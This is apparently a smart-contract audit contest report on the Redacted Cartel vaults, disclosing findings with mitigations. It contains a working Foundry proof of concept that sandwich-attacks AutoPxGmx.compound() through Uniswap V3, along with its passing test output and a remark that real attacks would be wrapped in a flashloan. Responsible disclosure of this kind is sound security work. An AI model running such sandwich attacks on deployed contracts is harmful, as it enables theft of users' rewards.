Redacted Cartel contest - hihen's results

Lines of code

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGmx.sol#L268-L277

Vulnerability details

Impact

Attackers can steal most of rewards (gmxBaseReward, weth) by launching a sandwich attack with flashloan.

Proof of Concept

The AutoPxGmx compounds pxGMX rewards into more pxGMX by swapping WETH rewards into GMX via Uniswap V3 and depositing it into PirexGmx to acquire pxGMX.

The swapping in compound() is called with amountOutMinimum = 1, which leads to the attacker to steal WETH through a sandwich attack:

1. Flashloan and swap WETH for GMX via the Uniswap V3 pool (WETH-GMX)
2. Trigger AotoPxGmx.compound() by calling compound() (or by calling depositGmx()/deposit()/withdraw()/redeem(), which need some extra preparation).
3. Swap GMX back for WETH and pay back the flashloan.

Sample attack by test code:

• Test code:

diff --git a/test/AutoPxGmx.t.sol b/test/AutoPxGmx.t.sol
index cc85e07..618903b 100644
--- a/test/AutoPxGmx.t.sol
+++ b/test/AutoPxGmx.t.sol
@@ -5,6 +5,7 @@ import "forge-std/Test.sol";

 import {AutoPxGmx} from "src/vaults/AutoPxGmx.sol";
 import {PirexGmx} from "src/PirexGmx.sol";
+import {IV3SwapRouter} from "src/interfaces/IV3SwapRouter.sol";
 import {Helper} from "./Helper.sol";

 contract AutoPxGmxTest is Helper {
@@ -333,6 +334,74 @@ contract AutoPxGmxTest is Helper {
                         compound TESTS
     //////////////////////////////////////////////////////////////*/

+    function testCompoundGmxAttack() external {
+        uint256 gmxAmount = 1000000e18;
+        uint256 secondsElapsed = 1 days;
+
+        address[] memory receivers = new address[](1);
+        receivers[0] = address(this);
+        (uint256 wethRewardState, , ) = _provisionRewardState(
+            gmxAmount,
+            receivers,
+            secondsElapsed
+        );
+        assertGt(wethRewardState, 0);
+
+        IV3SwapRouter SWAP_ROUTER = IV3SwapRouter(
+            0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45
+        );
+
+        // random hacker
+        address hacker = 0x0000000984794237890345789234580000000000;
+        _mintWrappedToken(1234 ether, hacker);
+        uint256 hackerFundBase = weth.balanceOf(hacker);
+
+        // Hacker swap WETH for GMX to make the price of GMX rises
+        vm.startPrank(hacker);
+        weth.approve(address(SWAP_ROUTER), hackerFundBase);
+        uint256 gmxToSel = SWAP_ROUTER.exactInputSingle(
+            IV3SwapRouter.ExactInputSingleParams({
+                tokenIn: address(weth),
+                tokenOut: address(gmx),
+                fee: 3000,
+                recipient: hacker,
+                amountIn: hackerFundBase,
+                amountOutMinimum: 1,
+                sqrtPriceLimitX96: 0
+            })
+        );
+        vm.stopPrank();
+
+        vm.expectEmit(true, false, false, false, address(autoPxGmx));
+        emit Compounded(testAccounts[0], 3000, 1, 0, 0, 0, 0, 0, 0);
+
+        // Call as testAccounts[0] to test compound incentive transfer
+        vm.prank(testAccounts[0]);
+        (uint256 wethAmountIn, , , , ) = autoPxGmx.compound(3000, 1, 0, false);
+        assertEq(wethRewardState, wethAmountIn);
+
+        // Hacker swap GMX back for WETH to get the benefit
+        vm.startPrank(hacker);
+        gmx.approve(address(SWAP_ROUTER), gmxToSel);
+        uint256 retETH = SWAP_ROUTER.exactInputSingle(
+            IV3SwapRouter.ExactInputSingleParams({
+                tokenIn: address(gmx),
+                tokenOut: address(weth),
+                fee: 3000,
+                recipient: hacker,
+                amountIn: gmxToSel,
+                amountOutMinimum: 1,
+                sqrtPriceLimitX96: 0
+            })
+        );
+        vm.stopPrank();
+
+        // Check the income of this attack
+        uint256 hackerFundAfterHack = weth.balanceOf(hacker);
+        assertTrue(hackerFundAfterHack > hackerFundBase);
+        assertTrue(retETH > hackerFundBase);
+    }
+
     /**
         @notice Test tx reversion: fee is invalid param
      */

• Output:

Running 1 test for test/AutoPxGmx.t.sol:AutoPxGmxTest
[PASS] testCompoundGmxAttack() (gas: 4717613)
Test result: ok. 1 passed; 0 failed; finished in 34.10ms

• In an actual attack, all operations (swap -> compound/depositGmx/deposit/withdraw/redeem -> swap) should be put into a flashloan transaction.

Tools Used

VS Code

Recommended Mitigation Steps

The contract should calculate the amountOutMinimum in compound() based on uniswap TWAP.

If the owner could be trusted, you can add another function (compoundByOwner(...) onlyOwner) which allows the owner to compound with arbitrary amountOutMinimum.

Lines of code

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGmx.sol#L152-L158 https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGlp.sol#L130-L136

Vulnerability details

Impact

Both of AutoPxGmx and AutoPxGlp will not work if platform is changed by setPlatform().

That is, all calls of compound(), withdraw(), redeem(), depositXXX() will always revert.

If the platform(AutoPxGmx) is migrated, you will have to migrate back to the old contract, or all funds in AutoPxGmx and AutoPxGlp will be locked.

Proof of Concept

AutoPxGmx appoves the platform with the max amount of GMX in its constructor:

gmx.safeApprove(_platform, type(uint256).max);

Because of that approval, the contract don't approve again when calling PirexGmx(platform).depositGmx(...) in compound() and depositGmx().

The platform saved in AutoPxGmx can be changed by setPlatform(), which will be used when PirexGmx is migrated to a new contract:

function setPlatform(address _platform) external onlyOwner {
    if (_platform == address(0)) revert ZeroAddress();
    platform = _platform;
    emit PlatformUpdated(_platform);
}

The problem is, the new platform is never approved by the contract, so the PirexGmx(platform).depositGmx(...) in compound() and depositGmx() will revert for no allowance. And because compound() is called by withdraw() and redeem(), they will revert too.

As a result, all user assets in AutoPxGmx will completely be locked. The only chance to unlock it is to reset the platform address and hope the old platform(PirexGmx) still work effectively or can be rolled back correctly.

Of course, if the platform is not set to a correct address at deployment(constructor parameter), the deployed AutoPxGmx contract have to be discarded and re-deploy a new one.

AutoPxGlp has the same vulnerability as AutoPxGmx.

Tools Used

VS Code

Recommended Mitigation Steps

In setPlatform()s, set new platform approval amount to type(uint256).max, and reset old platform approval amount to 0.

01. PirexRewards need a constructor to init owner and disable Initializers

PirexRewards is OwnableUpgradeable and Initializable, but the implementation contract is not initialized in constructor. Anyone can who calling initialize() first will become the owner.

It should have a proper constructor as its mentioned in Initializable.sol:

Avoid leaving a contract uninitialized.

An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:

Should add a constructor to PirexRewards.sol:

constructor() {
    _disableInitializers();
}

02. Missing afterDeposit() in AutoPxGmx.depositGmx()

AutoPxGmx.depositGmx() should call afterDeposit(receiver, assets, shares); just like deposit() and mint() in the base contract - PirexERC4626.

Although afterTransfer() is an empty function now, it is logically correct to maintain this consistency and reduce the probability of bug in future contract updates.

03. Missing beforeWithdraw() and afterWithdraw() in withdraw() and redeem() of AutoPxGmx

AutoPxGmx should call beforeWithdraw() and afterWithdraw() in withdraw() and redeem(). Although beforeWithdraw() and afterWithdraw() are empty functions now, it is logically correct to call them.

The simplier way is call PirexERC4626.withdraw(assets, receiver, owner); and PirexERC4626.redeem(shares, receiver, owner); instead, just like AutoPxGlp.withdraw and AutoPxGlp.redeem did.

04. Missing whenPaused in setContract()

The PirexGmx.sol#setContract() is a function that makes major changes to the contract like PirexGmx.sol#configureGmxState().

To be safe, setContract() should have the modifier whenPaused as configureGmxState() for

05. PirexGmx.sol#claimUserReward() should revert if token is unknown

In PirexGmx.sol#claimUserReward(), the call will pass and event ClaimUserReward is emitted, even if the token is unknown.

Should add an else branch at PirexGmx.sol#L848 to revert when the token is unknown.